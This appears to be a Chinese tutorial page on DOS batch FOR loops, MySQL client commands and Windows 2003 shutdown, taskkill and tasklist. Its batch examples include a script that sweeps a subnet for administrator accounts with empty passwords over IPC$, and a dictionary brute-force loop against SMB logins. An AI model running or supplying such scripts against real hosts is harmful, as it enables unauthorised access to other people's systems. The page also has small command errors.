- 計算機DOS操作系統命令講解 推薦度:
- 相關(guān)推薦
計算機DOS操作系統常用命令
學(xué)貴精不貴博。知得十件而都不到地,不如知得一件卻到地也。以下是小編為大家搜索整理的計算機DOS操作系統常用命令,希望能給大家帶來(lái)幫助!更多精彩內容請及時(shí)關(guān)注我們應屆畢業(yè)生考試網(wǎng)!
批處理命令與變量
for命令及變量 基本格式:
FOR /參數 %variable IN (set) DO command [command_parameters] %variable:指定一個(gè)單一字母可替換的參數,如:%i ,而指定一個(gè)變量則用:%%i ,而調用變量時(shí)用:%i% ,變量是區分大小寫(xiě)的(%i 不等于 %I)。
批處理每次能處理的變量從%0—%9共10個(gè),其中%0默認給批處理文件名使用,%1默認為使用此批處理時(shí)輸入的的第一個(gè)值,同理:%2—%9指輸入的第2-9個(gè)值;例:net use \\ip\ipc$ pass /user:user 中ip為%1,pass為%2 ,user為%3
(set):指定一個(gè)或一組文件,可使用通配符,如:(D:\user.txt)和(1 1 254)(1 -1 254),{“(1 1 254)”第一個(gè)"1"指起始值,第二個(gè)"1"指增長(cháng)量,第三個(gè)"254"指結束值,即:從1到254;“(1 -1 254)”說(shuō)明:即從254到1}
command:指定對第個(gè)文件執行的命令,如:net use命令;如要執行多個(gè)命令時(shí),命令這間加:& 來(lái)隔開(kāi)
command_parameters:為特定命令指定參數或命令行開(kāi)關(guān)
IN (set):指在(set)中取值;DO command :指執行command
參數:/L 指用增量形式{(set)為增量形式時(shí)};/F 指從文件中不斷取值,直到取完為止{(set)為文件時(shí),如(d:\pass.txt)時(shí)}。
用法舉例:
@echo off
echo 用法格式:test.bat *.*.* > test.txt
for /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use \\%1.%%G /user:administrator | find "命令成功完成" >>test.txt
存為test.bat 說(shuō)明:對指定的一個(gè)C類(lèi)網(wǎng)段的254個(gè)IP依次試建立administrator密碼為空的IPC$連接,如果成功就把該IP存在test.txt中。
/L指用增量形式(即從1-254或254-1);輸入的IP前面三位:*.*.*為批處理默認的 %1;%%G 為變量(ip的最后一位);& 用來(lái)隔開(kāi)echo 和net use 這二個(gè)命令;| 指建立了ipc$后,在結果中用find查看是否有"命令成功完成"信息;%1.%%G 為完整的IP地址;(1 1 254) 指起始值,增長(cháng)量,結止值。
@echo off
echo 用法格式:ok.bat ip
FOR /F %%i IN (D:\user.dic) DO smb.exe %1 %%i D:\pass.dic 200
存為:ok.exe 說(shuō)明:輸入一個(gè)IP后,用字典文件d:\pass.dic來(lái)暴解d:\user.dic中的用戶(hù)密碼,直到文件中值取完為止。%%i為用戶(hù)名;%1為輸入的IP地址(默認)。
MYSQL 命令:
mysql -h主機地址 -u用戶(hù)名 -p密碼 連接MYSQL;如果剛安裝好MYSQL,超級用戶(hù)root是沒(méi)有密碼的。
(例:mysql -h110.110.110.110 -Uroot -P123456
注:u與root可以不用加空格,其它也一樣)
exit 退出MYSQL
mysqladmin -u用戶(hù)名 -p舊密碼 password 新密碼 修改密碼
grant select on 數據庫.* to 用戶(hù)名@登錄主機 identified by \"密碼\"; 增加新用戶(hù)。(注意:和上面不同,下面的因為是MYSQL環(huán)境中的命令,所以后面都帶一個(gè)分號作為命令結束符)
show databases; 顯示數據庫列表。剛開(kāi)始時(shí)才兩個(gè)數據庫:mysql和test。mysql庫很重要它里面有MYSQL的系統信息,我們改密碼和新增用戶(hù),實(shí)際上就是用這個(gè)庫進(jìn)行操作。
use mysql;
show tables; 顯示庫中的數據表
describe 表名; 顯示數據表的結構
create database 庫名; 建庫
use 庫名;
create table 表名 (字段設定列表); 建表
drop database 庫名;
drop table 表名; 刪庫和刪表
delete from 表名; 將表中記錄清空
select * from 表名; 顯示表中的記錄
mysqldump --opt school>school.bbb 備份數據庫:(命令在DOS的\\mysql\\bin目錄下執行);注釋:將數據庫school備份到school.bbb文件,school.bbb是一個(gè)文本文件,文件名任取,打開(kāi)看看你會(huì )有新發(fā)現。
win2003系統下新增命令(實(shí)用部份):
shutdown /參數 關(guān)閉或重啟本地或遠程主機。
參數說(shuō)明:/S 關(guān)閉主機,/R 重啟主機, /T 數字 設定延時(shí)的時(shí)間,范圍0~180秒之間, /A取消開(kāi)機,/M //IP 指定的遠程主機。
例:shutdown /r /t 0 立即重啟本地主機(無(wú)延時(shí))
taskill /參數 進(jìn)程名或進(jìn)程的pid 終止一個(gè)或多個(gè)任務(wù)和進(jìn)程。
參數說(shuō)明:/PID 要終止進(jìn)程的pid,可用tasklist命令獲得各進(jìn)程的pid,/IM 要終止的進(jìn)程的進(jìn)程名,/F 強制終止進(jìn)程,/T 終止指定的進(jìn)程及他所啟動(dòng)的子進(jìn)程。
tasklist 顯示當前運行在本地和遠程主機上的進(jìn)程、服務(wù)、服務(wù)各進(jìn)程的進(jìn)程標識符(PID)。
參數說(shuō)明:/M 列出當前進(jìn)程加載的dll文件,/SVC 顯示出每個(gè)進(jìn)程對應的服務(wù),無(wú)參數時(shí)就只列出當前的進(jìn)程。
【計算機DOS操作系統常用命令】相關(guān)文章:
計算機DOS操作系統常用命令講解08-05
DOS操作系統常用命令有哪些03-02
計算機的DOS操作系統詳解05-23
計算機DOS操作系統必備命令06-01
dos操作系統介紹05-24
計算機DOS操作系統必備命令解析07-25
Linux操作系統常用命令03-23
3個(gè)實(shí)用的Win7DOS操作系統技巧08-08
計算機《操作系統》教材06-09